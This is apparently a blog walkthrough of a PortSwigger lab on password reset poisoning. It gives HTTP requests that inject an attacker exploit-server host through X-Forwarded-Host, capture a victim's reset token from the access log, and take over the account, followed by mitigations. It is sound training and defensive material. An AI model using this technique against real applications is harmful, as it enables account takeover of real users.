July 29, 2026
Solving PortSwigger Lab: Password Reset Poisoning via Middleware
Welcome to this comprehensive walkthrough for the “Password reset poisoning via middleware” lab from PortSwigger’s Web Security Academy…
By Ayeshaaghafoor
3 min read
Welcome to this comprehensive walkthrough for the "Password reset poisoning via middleware" lab from PortSwigger's Web Security Academy. Password reset functionality relies heavily on absolute URLs sent directly to users' registered email addresses. If web applications depend on untrusted HTTP request headers — such as middleware parsing X-Forwarded-Host—to construct these reset links, attackers can manipulate the host portion of the link to leak sensitive password reset tokens to an attacker-controlled server.
Note: This article was written with the assistance of AI tools.
1. Vulnerability Mechanics & Host Header Injection
Host Header Injection via Middleware
In modern multi-tiered web architectures, front-end proxies, load balancers, or middleware components often process incoming HTTP requests before handing them off to back-end web servers.
When a back-end framework needs to generate an absolute link (such as https://<domain>/forgot-password?temp-forgot-password-token=...), it needs to know the requested domain name. If the back-end application or middleware trusts override headers like X-Forwarded-Host, it dynamically constructs the domain portion of the URL using the header's value rather than the server's configured hostname.
Exploit Vector (Password Reset Poisoning)
- The attacker triggers a password reset request targeting a victim user (
carlos). - The request is intercepted, and an
X-Forwarded-Hostheader pointing to an attacker-controlled domain (e.g., an Exploit Server) is injected into the HTTP request body. - The server generates a secret, single-use reset token and emails a link constructed as:
https://<attacker-exploit-server>/forgot-password?temp-forgot-password-token=<SECRET_TOKEN>
- When the victim receives the legitimate password reset email and clicks the link, their browser sends an HTTP request directly to the attacker's server, delivering the sensitive
temp-forgot-password-tokenvia the request path or query parameters in the web access logs.
2. Step-by-Step Exploitation Walkthrough
Step 1: Triggering the Poisoned Password Reset Request
First, navigate to the password reset page, enter the target username carlos, and capture the outgoing POST /forgot-password request in Burp Suite. Send this request to Burp Repeater.
In Repeater, append the X-Forwarded-Host header containing your Exploit Server URL domain to the HTTP request:
HTTP
POST /forgot-password HTTP/2
Host: 0a8f006b046380d682d5011200fd00a2.web-security-academy.net
...
X-Forwarded-Host: exploit-0a76005e0402809c0278009a011500b6.exploit-server.net
username=carlosPOST /forgot-password HTTP/2
Host: 0a8f006b046380d682d5011200fd00a2.web-security-academy.net
...
X-Forwarded-Host: exploit-0a76005e0402809c0278009a011500b6.exploit-server.net
username=carlos
Send the request. The application responds with a standard 200 OK message confirming that a password reset email has been dispatched.
Step 2: Extracting the Leaked Token from Access Logs
Because the victim user carlos clicks links sent to his email inbox, his browser attempts to open the reset link hosted on your Exploit Server domain.
Navigate to the Exploit Server and inspect the Access log.
In the logs, locate the request made by the victim (IP 10.0.4.128):
HTTP
GET /forgot-password?temp-forgot-password-token=ffbthac17uudukrr2plw44vx632zplfk HTTP/1.1GET /forgot-password?temp-forgot-password-token=ffbthac17uudukrr2plw44vx632zplfk HTTP/1.1Copy the secret token value: ffbthac17uudukrr2plw44vx632zplfk.
Step 3: Submitting the Reset Token & Updating Carlos's Password
With the valid token in hand, return to the main application endpoint /forgot-password with the token as a query parameter in Burp Repeater:
HTTP
GET /forgot-password?temp-forgot-password-token=ffbthac17uudukrr2plw44vx632zplfk HTTP/2
Host: 0a8f006b046380d682d5011200fd00a2.web-security-academy.netGET /forgot-password?temp-forgot-password-token=ffbthac17uudukrr2plw44vx632zplfk HTTP/2
Host: 0a8f006b046380d682d5011200fd00a2.web-security-academy.net
The server responds with the HTML password reset form containing a hidden field with the token value. Proceed to submit a POST /forgot-password request with the token and your desired new password to set a new credential for Carlos's account.
Step 4: Account Takeover & Lab Verification
Navigate back to the main site login interface and log into Carlos's account using the new password you set.
3. Mitigation Strategies
To defend against password reset poisoning and host header injection attacks:
- Avoid Dynamic Host Header Construction: Hardcode the target domain name in server configuration files instead of dynamically deriving hostnames from incoming HTTP request headers (like
HostorX-Forwarded-Host). - Validate Forwarded Headers: If proxy override headers must be used, configure intermediate proxies and load balancers to drop or validate
X-Forwarded-Hostheaders from untrusted clients before forwarding requests to internal services. - Use Relative URLs in Templates: When generating internal links inside emails, use relative paths or strictly validated canonical domain maps to ensure link construction cannot be influenced by user-supplied request headers.